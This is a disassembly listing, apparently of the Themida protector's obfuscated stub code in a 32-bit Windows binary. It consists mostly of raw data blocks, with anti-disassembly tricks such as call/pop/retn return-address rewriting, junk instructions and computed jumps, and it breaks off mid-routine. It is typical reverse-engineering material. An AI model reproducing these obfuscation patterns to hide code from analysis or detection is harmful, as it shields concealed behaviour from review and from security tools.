dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 12C351h, 5DB22064h, 7281E650h, 1995FFF5h
dd 6A07FA10h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 4AE3C352h, 5757C467h, 0F9BBA910h
dd 0DF22E781h, 0AFB91C21h, 0E8000007h, 6, 505A3E0h, 13E97A37h
dd 0A000000h, 0E6C9091Ch, 190201B8h, 94A6122Dh, 0DEDC176Bh
dd 835B5610h, 6AFCE1h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 190424h, 55450000h, 0BBAAF2C3h, 89BED05Ch, 0FA18A18Dh
dd 0A159BB07h, 0FFC424Ch, 1082h, 0BE900h, 0AF380000h, 7887EA09h
dd 0F63173D1h, 0B88Ah, 6A0000h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0B5018FC3h, 7FA1E39h
dd 0FBA5E381h, 0D22B01BEh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 1DC35343h, 0FD4069EEh, 0E9687724h, 0Ah
dd 215CBA9Ah, 588A4D72h, 33ADC86Eh, 3E8D1C2h, 4E983D0h
dd 6AF475h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0BE7B93C3h, 6655D380h, 8199D1BBh, 9C96E8E7h
dd 57006A0Eh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 4830A457h, 6D92D50Eh, 10E9h, 0F1258300h
dd 0D08338AAh, 0CF7D779Fh, 0ED93CA09h, 699D33BEh, 0D07FA2Dh
dd 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
dd 8AC35343h, 2915B531h, 958B07FAh, 7FA1CD9h, 0D830Fh
dd 66600000h, 91FCEF81h, 1CB1958Bh, 8B6107FAh, 0FA31AD8Dh
dd 719D3307h, 5007FA21h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 0C6DF8058h, 0D9B70F50h, 29BD835Fh, 7FA2Ah
dd 36840Fh, 6B30000h, 0B8h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 8DCCB7B7h
dd 0FA4F668Dh, 0FEBF0F07h, 0B589E1FFh, 7FA3525h, 2BD9BD83h
dd 0F0007FAh, 41F84h, 46CF8000h, 0A1F375BFh, 0D9BD8343h
dd 107FA2Bh, 425840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1A0424h, 50400000h, 840B76C3h, 0EB544F90h
dd 0CE9h, 0BEA64C00h, 27187A0Fh, 74FA5A1Dh, 0E5BD319Bh
dd 8307FA2Eh, 0FA2BD9BDh, 860F0307h, 3A9h, 2448E381h, 66602B75h
dd 0F0B41BFh, 108Bh, 9E95200h, 30000000h, 88BC2688h, 3D9C732h
dd 0D98C665Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 18h, 75C35343h, 4D47346Fh, 0BF04E180h, 0BA737EBh, 840FC90Ah
dd 129h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 1Ah, 0C7C35141h, 0D42F64DDh, 9D0B3AC5h, 7FA21E9h, 0FE9858Bh
dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
dd 57470000h, 0EE6834C3h, 816029CEh, 45AF5CE0h, 8D958B6Ch
dd 6107FA29h, 15E18533h, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 26E23DC3h, 26E97AB6h
dd 0DE8B5003h, 6A240489h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1A042444h, 40000000h, 0F51C350h, 0E2C96D77h
dd 6A006A7Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 3CBBC351h, 64A5AA9Ch, 0E9402877h
dd 11h, 7FA13104h, 0F9B8EE6Ah, 0F6409CB2h, 0DE6040Bh, 0A951689Dh
dd 0DF8B3895h, 0AE243481h, 81388AAAh, 0AF33D7C7h, 0E995FF3Fh
dd 2B07FA1Ch, 0FA25C99Dh, 89FE8B07h, 0FDEB9685h, 1860F07h
dd 0F9000000h, 14A1B589h, 87E907FAh, 23000001h, 0FA2F8DBDh
dd 8E858B07h, 8B07FDEBh, 0FA0A619Dh, 1800C707h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 0FB59C353h, 0BA142982h, 0F8C38166h, 92B58B5Eh
dd 8B07FDEBh, 0FA17D59Dh, 51858B07h, 8907FA0Dh, 0F9BF0F06h
dd 0FE9858Bh, 8D2907FAh, 7FA1E59h, 6A044689h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h
dd 38C2C357h, 65E419EBh, 1F9B509h, 0BB9607FAh, 5F406458h
dd 8B665750h, 0E9965FF8h, 0Bh, 12E40092h, 7D6B0A97h, 18FE45Bh
dd 0FA2A319Dh, 8EB5FF07h, 6A07FDEBh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0DBA4C356h
dd 5EBB412h, 8B84689Dh, 52502759h, 8AD18B60h, 310F61CBh
dd 3481585Ah, 46887B24h, 55006A27h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 0EB816639h, 858D48E3h
dd 7FDEB96h, 0D24315BFh, 8E99056h, 6D000000h, 964442DDh
dd 5097E74Ch, 1D830Fh, 11E80000h, 57000000h, 1525DF5Fh
dd 0F9614A0Dh
dd 3FD32499h, 0ECE105B7h, 310F5250h, 905B585Ah, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 15h, 0C0C35040h, 0E995FF33h
dd 0E907FA1Ch, 12h, 46E8E306h, 0B779262Fh, 15E72A8Fh, 104F0CD7h
dd 6A6146B1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 16042444h, 43000000h, 5A63C353h, 71BD2940h, 0C707FA0Ah
dd 0FA2BD985h, 307h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 25067702h, 0BD830246h
dd 7FDEB96h, 4E840F00h, 6A000000h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0F5D9C356h
dd 45E92FFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0E08DC355h, 1822BBFFh
dd 0BB515C03h, 3C2D73C5h, 0C30505Bh, 11440011h, 10E8C101h
dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 53C35141h, 0B87AAF53h, 0A9BD8BA5h, 6A07FA16h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 88F3C351h, 0AA5C9513h, 8B078CE5h, 0FA15DDBDh
dd 0D9BD8307h, 307FA2Bh, 425850Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F78012C3h
dd 258509DCh, 8307FA05h, 0FDEB96BDh, 840F0007h, 3F3h, 227D9D8Bh
dd 0B5FF07FAh, 7FDEB96h, 7E9h, 0DD4D1700h, 0F3E886E2h
dd 274595FFh, 9D3107FAh, 7FA1DF9h, 0EB8AB58Bh, 6A07FDh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
dd 0E99C91C3h, 6C7E860h, 10001h, 50505F56h, 66525052h
dd 310FF98Bh, 585A6160h, 0BF66310Fh, 585A67DBh, 6A243489h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h
dd 47000000h, 4D18C357h, 0BF66A8h, 96B5FF98h, 0F07FDEBh
dd 188Bh, 13E900h, 3CC40000h, 5EEE1F7h, 50911EE2h, 5E9A11AAh
dd 0B6E4D4B0h, 0E195FF18h, 6A07FA18h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 80D9C353h
dd 0B58B65CFh, 7FDEB8Ah, 0BE9h, 9B299300h, 8C8BBFD9h, 4A2831EDh
dd 1C7D858Bh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 190424h, 57470000h, 8B3AB9C3h, 51E54939h, 29E59D89h
dd 895F07FAh, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 8B7BA155h, 0FA1CD995h
dd 459D0307h, 8307FA0Fh, 508904C2h, 52006A20h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 4701F8Ah, 8D138235h
dd 0FDFEF785h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1D04h, 0C3554500h, 8B448DD4h, 51F274D3h
dd 9529A19Bh, 7FA0F6Dh, 68D0Fh, 0BD0B0000h, 7FA1F81h, 0B88689h
dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
dd 51410000h, 66375EC3h, 8166D98Bh, 6A9F3CF3h, 0FA8B6600h
dd 0EB96B5FFh, 0FFFC07FDh, 0FA1C9595h, 68B0F07h, 8B000000h
dd 0FA01D19Dh, 0E8609607h, 0Eh, 0D81DAD68h, 3BACE58Ah
dd 2B9FD419h, 0FE951CBh, 0DC000000h, 0B841483h, 0EE8780C2h
dd 3A14A9D3h, 8B5EFE58h, 0BB5061F8h, 1929C14h, 0F3816096h
dd 1CF965D8h, 11298D8Bh, 0FF6107FAh, 0FDEB96B5h, 39BD8B07h
dd 0FF07FA07h, 0FA1D9595h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0BB694B92h
dd 0E090BF66h, 31BD83F5h, 7FA01h, 41840Fh, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 8BFC19C3h, 0FA2815BDh, 10E99607h, 10000000h, 0DD0F970Dh
dd 4D70DE3Ch, 4D371E90h, 50C15D7Dh, 4DB58996h, 0FF07FA06h
dd 0FDEB96B5h, 55006A07h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1804h, 0C3554500h, 5067A6B7h, 0D5BD8B20h
dd 0FF07FA0Ah, 0FA1CB595h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 4A2D81FBh
dd 48E5EE81h, 0B70F50ADh, 0ADBF5BFEh, 0FF5CB3B1h, 0FDEB96B5h
dd 8DF8107h, 0FF3D7DC0h, 0FA21AD95h, 50006A07h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0D5E76A7Eh
dd 357D3501h, 0ED952981h, 907FA01h, 0FA07F5BDh, 21BD8307h
dd 207FA22h, 53840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 0BF0F14C3h, 15858BFAh
dd 6A07FA16h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1A042444h, 43000000h, 332DC353h, 0BB35AF54h, 0DBB70F11h
dd 890000C6h, 0FA1641BDh, 0DD85C707h, 7FA16h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 6E7CC350h, 0F2A9B04h, 280h, 0E9F98B00h, 0FFFFF305h
dd 47F9BB66h, 2F2DBD8Bh, 0C18B07FAh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 30C35141h, 24773039h, 0F729361h
dd 388h, 0DF8B6600h, 13E9h, 0EE686A00h, 7, 3 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5D0E0B
; ---------------------------------------------------------------------------
db 1Bh, 0FBh, 0A3h
dd 4C52C06Dh, 0F2AC6916h, 9E000FBCh, 4856BB68h, 4229DE12h
dd 0EC99CFCFh, 93407628h, 3EEB217Dh, 0C493C9D5h, 56ED506Ch
dd 0AD1307E5h, 326CA7F6h, 0CFCF42A7h, 7727EC99h, 128C87ECh
dd 740D3787h, 4AE0B794h, 31E18E34h, 8C88DD6Dh, 80D96C12h
dd 0A4700630h, 0D4E580B3h, 0FF3AD2Eh, 0B7649A04h, 9F021E59h
dd 0C5FFE6DEh, 20CD036Ch, 0FBA372F0h, 8DB70792h, 120AA6C7h
dd 13C06602h, 80129D01h, 8ECE9D57h, 0E6FB0F72h, 67CAE6FFh
dd 8DFFE6FBh, 0F59AF334h, 31DE841Ah, 52FBFDFh, 4936AFF3h
dd 0B9F79DB6h, 0C97070Ch, 0E6AF7AE0h, 0F923ABFFh, 0A2735F5Bh
dd 1FB882FCh, 2BE5660Ch, 7524EC24h, 7793D338h, 0FFE70D14h
dd 0E0239D09h, 74B5BA61h, 2E6AA11Bh, 0B3875FADh, 712C0Dh
dd 0A7BD0000h, 57A7326Ch, 6910D02h, 5EC337DDh, 8BFFE683h
dd 2159601Ah, 838748Fh, 0B43F5FB3h, 104E58Bh, 95000000h
dd 0F00C6BA7h, 0FFE6838Dh, 4FE05AB3h, 4D6892C4h, 63C853BCh
dd 1464EFAFh, 0A24856BFh, 78731AF5h, 0C59ABB9Dh, 0B13C62B2h
dd 2BB61F88h, 0FBDF99D2h, 0B9518717h, 81E43E8Fh, 4FF58CA1h
dd 0F72D71A2h, 0A0031F5Fh, 0C6FFE686h, 0A710C76Dh, 44A9346Ah
dd 0E045D0CEh, 7ADF6A34h, 2B7D0896h, 6A8F4802h, 0F51BAD08h
dd 79AA066Fh, 4136DBBFh, 0E6EEC225h, 2E97F0FFh, 80B60F8h
dd 0D043F096h, 0A9FE3ECEh, 64C7336Bh, 92FFE6EEh, 9B009339h
dd 6A94247Ah, 0EB3AB0F7h, 6993F42h, 121F49E1h, 392D553Eh
dd 0A05ADB81h, 75385199h, 8AEF38h, 0A7800000h, 59A9346Ah
dd 8930B04h, 0C52E70A3h, 20ABF320h, 71A451F7h, 0D43DA22Dh
dd 39DA3FCAh, 5596DA65h, 215AF39Bh, 108E8367h, 0A9E42DDAh
dd 0EA8D0A4Ah, 92AE3EC8h, 0FFE6C22Fh, 893FC55h, 0A7326CA3h
dd 55AAEA82h, 2F58E3BBh, 0E6C260C3h, 872D86FFh, 0FD454C06h
dd 9B3874C7h, 43h, 236AA72Ch, 7E4E420Bh, 2C8FAB38h, 5AFFE731h
dd 0A42F9801h, 8191D13Fh, 0E529B41Dh, 3820638Dh, 0BF6B763h
dd 462AE465h, 0E69DD3CBh, 0A8336BA7h, 0E683167Ch, 1CD647FFh
dd 748EDD15h, 17B38h, 0A70C0000h, 0ADC9096Eh, 0FFE6834Ah
dd 50B31F78h, 76FFE683h, 0C429B41Dh, 7FBF4F4Fh, 0E6830063h
dd 27CD26FFh, 1FD90294h, 34C4DA3Bh, 0DE6935DFh, 70D10FB5h
dd 9BB74719h, 7E09A3Dh, 20851069h, 56884F3h, 2B07E09Ah
dd 863369D2h, 533AD58Dh, 322DB2EAh, 921D8632h, 49750069h
dd 7E12AE4h, 0F0D48ECFh, 0C9D53F23h, 9A7BD060h, 0F5587404h
dd 1B07E12Ah, 31DE1CC2h, 0F8F80E2h, 5EB65B84h, 0FC4CD740h
dd 22DEDFD2h, 0C1677D13h, 938EFF14h, 0C3ECD641h, 304CD740h
dd 0E08293E8h, 77026B33h, 6D27A84Eh, 0F1B2749Eh, 305A18F5h
dd 932BDE1h, 0C64DFAA0h, 3B1E48D8h, 67EE7E1Bh, 8E5E9C42h
dd 406F6D56h, 113F4h, 96F38500h, 9A9757B9h, 65CEA17Ah
dd 746B95D5h, 0B85FB721h, 948D40A2h, 0C3616F1Ah, 8F53A91Dh
dd 267F07E1h, 0C1DD369Bh, 4433DC31h, 0E165C528h, 2992EB07h
dd 7B984583h, 5C931912h, 4DB6AE62h, 0F1AD68BDh, 4973D66h
dd 22EE749Fh, 6C88137Ch, 769D813Bh, 55AF228h, 1DED930Bh
dd 406EB2E5h, 3D83h, 9AF31400h, 971A36C6h, 3D7FE683h, 14FF54E4h
dd 2551E48Ah, 7FE682C2h, 0EDBC769Fh, 14F2D1C3h, 0D0768D22h
dd 7231E6Fh, 7FE586A4h, 801079D2h, 0E585E164h, 4076CFFFh
dd 7359h, 96F3F200h, 0B41E3ACAh, 3207E09Ah, 2AE94ED9h
dd 82913E74h, 0FD65911Ch, 0A607E099h, 4CC7AB65h, 0A46DC252h
dd 9954B7D3h, 298207E0h, 660C35C0h, 9EC2C728h, 6DE7F20Eh
dd 0A4FD0FDFh, 3F5FB419h, 0E3BB5AAFh, 45D43753h, 0A902FFEBh
dd 0B5DE7003h, 3A2663FBh, 8EA780AAh, 4C32F8EAh, 8B316DA7h
dd 0CCD7F3h, 81DA07EAh, 0ED759CF1h, 830E7727h, 0BF76B45Ah
dd 87A396F3h, 0FFE68324h, 4B53BD52h, 0C52E97C0h, 71A0F535h
dd 0D379A22Dh, 0E557545Fh, 6EF95207h, 2F830A09h, 89E67245h
dd 2B8EAA3Ah, 5907E483h, 0B4619700h, 64B43F5Fh, 0F399050Fh
dd 0F5355D7Fh, 0A1E13107h, 0D5352285h, 0E0C81707h, 16BBC20Bh
dd 55D67CD5h, 425CB79Bh, 0EAB45F0Ch, 9BFE1A5Ah, 0C907D4B5h
dd 0D237CA70h, 44D6613Dh, 967D611Bh, 0EE25D208h, 80D525B0h
dd 7D640A94h, 3, 0A75CBB16h, 3FA42F6Fh, 0DA3FCAD4h, 78DD6836h
dd 1277029Ch, 0AF149FFFh, 4CB13C62h, 0EB50DBC3h, 84E9742Ah
dd 5285108Eh, 4EC81h, 1C890000h, 81E38924h, 4C3h, 4EB8300h
dd 5C241C87h, 42768h, 24348900h, 7EF268h, 24148900h, 5559B951h
dd 0BF57017Dh, 17B252BDh, 52FAEF81h, 0F7816DF3h, 0A0C2D60Eh
dd 295FFE89h, 8B5459CEh, 0C4812414h, 4, 8904EC83h, 428F2434h
dd 24148B08h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 5E2434FFh
dd 0E904C483h, 0FFFBA530h, 0BD1E565Fh
db 0C9h, 12h, 8Ah
; ---------------------------------------------------------------------------
loc_5D0E0B: ; CODE XREF: Themida_:005D08B0j
mov eax, 7FED94Bh
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 6E2A75F4h, 391425B0h, 0C66632Ah, 5A4B5522h, 595E7827h
dd 2D4E89C7h, 0A441A34h, 308A2A7Fh, 7B9B5107h, 122AA749h
dd 70ED1F6Bh, 6307F06Ah, 134E7542h, 521DA41Bh, 1158E04Ah
dd 0CF178AFh, 5A812DCBh, 51EABF05h, 36D995BDh, 4EF2AEFEh
dd 4F9F4033h, 6A978D7Fh, 14F29ACCh, 199858Dh, 6A07FAh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 90EF3AC3h, 619D8BC0h, 5007FA2Bh, 0CF53BFBBh, 24048919h
dd 6840Fh, 8D890000h, 7FA0D25h, 6A006Ah, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 160424h, 56460000h, 0DED881C3h
dd 10798D29h, 6A07FAh, 0C85BD8Bh, 858D07FAh, 7FEDC37h
dd 6A05C083h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 5E08C351h, 0A368CF56h, 0B01ABB50h
dd 489176Dh, 9D8D8924h, 6A07FA2Ch, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 3564333Dh
dd 0B1953162h, 6A07FA0Ah, 68C0F00h, 29000000h, 0FA1F9D9Dh
dd 0E995FF07h, 6A07FA2Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 5E77C356h, 8B4DFD8Bh
dd 0FA16C9BDh, 118D8D07h, 6607FDD7h, 0CCF9DF81h, 0EF81D1FFh
dd 1AA13FBDh, 0FCD78166h, 0EDBD8309h, 107FA33h, 0DA850Fh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
dd 55450000h, 0BF605BC3h, 2F506E2Ch, 68D0Fh, 8D8B0000h
dd 7FA0029h, 6A026A61h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 15042444h, 43000000h, 86AAC353h, 1C59D29h
dd 0BF6607FAh, 9D8BADBBh, 7FA317Dh, 0BE850h, 698E0000h
dd 0A38CC120h, 7115B111h, 5BDF8B48h, 6A240489h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
dd 94CAC352h, 8106EB9Fh, 95575BEBh, 9595FF4Ah, 6A07FA1Ch
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 9266C353h, 0F93BCC40h, 13E9h, 7824B000h
dd 0CC971444h, 85374640h, 0E8C1652h, 70AE8B31h, 0D92E9h
dd 0E800h, 815D0000h, 0FEDC41EDh, 0E7816607h, 8D01F721h
dd 7FA0089h, 88D78151h, 5F0637FCh, 0B959858Dh, 6A07FDh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 890F24C3h, 6, 108BDB81h, 50906B0Eh, 0DE8h, 0B3802E00h
dd 47A3DAAFh, 99066372h, 12E8699Bh, 0C000000h, 0EB84744Dh
dd 17758875h, 0A0882A36h, 0EBAA02F8h, 38BB66E3h, 905F5FB6h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0F1C35545h
dd 6360B78h, 35FF64B6h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5D112F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D112F proc near ; CODE XREF: Themida_:005D1127p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5D112F endp
; ---------------------------------------------------------------------------
db 0Dh
dd 3974D0F2h, 89F616ECh, 0FA08498Dh, 25896407h, 0
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_5D115F
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D115F proc near ; CODE XREF: Themida_:005D1157p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ch
inc ebx
push ebx
retn
sub_5D115F endp
; ---------------------------------------------------------------------------
db 67h
dd 906DDC5Ch, 0B463A8FEh, 104985FFh, 6A07FAh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 645665C3h
dd 0B92CC42Eh, 81FB0F25h, 99A24CDBh, 6AFF6A01h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 606EC351h, 1850Fh, 57F90000h, 0B5FF615Ah, 7FA2EA9h
dd 0B24ECF81h, 0B514C15h, 0FA17399Dh, 95FF5B07h, 7FA2875h
dd 0EFE9h, 20BB6600h, 0C58D291Ch, 0B007FA23h, 9D296000h
dd 7FA0009h, 102DBD01h, 0E66107FAh, 158C0F70h, 0E9000000h
dd 10h, 7FBD0C2Dh, 25A11716h, 96C72967h, 0E8A0187Dh, 613C71E4h
dd 0AE830Fh, 85890000h, 7FA08C1h, 0BAC8B60Fh, 6, 81C18BF5h
dd 0C8F09C7h, 4E8C10Bh, 28FDBD8Bh, 0F76607FAh, 8BC82BE2h
dd 0FA0739BDh, 0E9D18B07h, 8, 0A5952957h, 5B07FA2Ch, 1175858Bh
dd 0BD8B07FAh, 7FA1479h, 8907C083h, 0FA0A6DBDh, 0C08307h
dd 1EADBD89h, 0D03B07FAh, 1D830Fh, 0AE80000h, 0E8000000h
dd 1F782518h, 2B4B041Eh, 9D8D8937h, 5B07FA18h, 33E9h, 8BF98B00h
dd 0FA27658Dh, 32EB8007h, 0F01E183h, 1F84h, 659D8900h
dd 8307FA2Ah, 0FA2765A5h, 8166FE07h, 890E17EFh, 0FA117595h
dd 0E9DA8B07h, 0
; ---------------------------------------------------------------------------
lea esi, [ebp+7FE4CDCh]
push 0
pusha
jmp loc_5D12FB
; ---------------------------------------------------------------------------
dw 7621h
dd 38B87774h, 77747621h
db 0B8h, 38h, 21h
; ---------------------------------------------------------------------------
loc_5D12FB: ; CODE XREF: Themida_:005D12E9j
sub [ebp+7FA214Dh], eax
popa
call dword ptr [ebp+7FA1019h]
push 0
push ebp
call sub_5D1313
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1313 proc near ; CODE XREF: Themida_:005D130Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Bh
inc ebp
push ebp
retn
sub_5D1313 endp
; ---------------------------------------------------------------------------
db 8Ch
dd 0A11E3249h, 0B93CC5EEh, 901h, 1F59BD89h, 958907FAh
dd 7FA1181h, 8BFCE183h, 0FA2209BDh, 9D8BFC07h, 7FA2485h
dd 0B8h, 1DB50100h, 0BA07FA35h, 0
; ---------------------------------------------------------------------------
or ebx, [ebp+7FA0D41h]
mov [ebp+7FA30D1h], eax
loc_5D1368: ; CODE XREF: Themida_:005D1372j
lodsd
xor eax, edx
shr eax, 1
add edx, eax
sub ecx, 4
jnz short loc_5D1368
push 0
push ebp
call sub_5D137F
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D137F proc near ; CODE XREF: Themida_:005D1377p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5D137F endp
; ---------------------------------------------------------------------------
db 0FBh
dd 0C4AF7D97h, 0E780E25Fh, 0FBBF0F51h, 93BB665Bh, 0A800F07h
dd 60000000h, 0DE815F57h, 6A2DDFDAh, 880D61h, 0DE90000h
dd 5C000000h, 0F7B41ECFh, 8E6C7B49h, 47B4AE07h, 1CD9958Bh
dd 0EE907FAh, 0DE000000h, 0B20E8F5Bh, 0F777494Bh, 498F2C32h
dd 0AD8D8BE3h, 6A07FA31h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0EA21C352h, 0A7D781EFh
dd 32DCF09h, 0FA15859Dh, 0DF816607h, 8B50393Eh, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 67C35646h, 80B46C89h, 9D0900D7h
dd 7FA0B25h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Dh, 0F3C35646h, 44EEBEF7h, 181ECB32h, 0B8BF668Bh, 29BD83BCh
dd 7FA2Ah, 7F840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 180424h, 53430000h, 0E6F37AC3h, 16BBD3B2h
dd 0B807DCF2h, 0
; ---------------------------------------------------------------------------
mov ebx, [ebp+7FA1789h]
lea ecx, [ebp+7FA4F66h]
push 0
push eax
call sub_5D14C7
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D14C7 proc near ; CODE XREF: Themida_:005D14BFp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5D14C7 endp
; ---------------------------------------------------------------------------
or dword ptr [edi], 48Eh
add [ebx-75h], dl
sti
pop ebx
jmp ecx
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5D14EF
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D14EF proc near ; CODE XREF: Themida_:005D14E7p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 19h
inc eax
push eax
retn
sub_5D14EF endp
; ---------------------------------------------------------------------------
sti
sub ah, ah
mov edx, 0BD836946h
fldcw word ptr [ebx]
cli
pop es
add [edi], cl
test ah, dl
add eax, [eax]
add [ebx-5D42643h], al
pop es
add [edi], ecx
test dh, al
add eax, [eax]
add [ebx-5F5A243h], cl
pop es
cmp dword ptr [ebp+7FA2BD9h], 3
jbe loc_5D18D9
pusha
mov edi, 174BAF4h
xor [ebp+7FA2165h], ebx
mov cx, ds
or [ebp+7FA2541h], eax
stc
and cl, 4
push 0
push ebx
call sub_5D1556
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1556 proc near ; CODE XREF: Themida_:005D154Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5D1556 endp
; ---------------------------------------------------------------------------
dw 0AE4h
; ---------------------------------------------------------------------------
leave
jz loc_5D1680
mov edi, [ebp+7FA2F99h]
mov eax, [ebp+7FA0FE9h]
push 0
push ebx
call sub_5D1586
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D1586 proc near ; CODE XREF: Themida_:005D157Ep
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5D1586 endp
; ---------------------------------------------------------------------------
sbb eax, 93C79C47h
pop eax
and dword ptr [esi-75h], 0E18533FAh
adc eax, 6A07FAh
push ebp
call sub_5D15B1
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5D15B1 proc near ; CODE XREF: Themida_:005D15A9p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
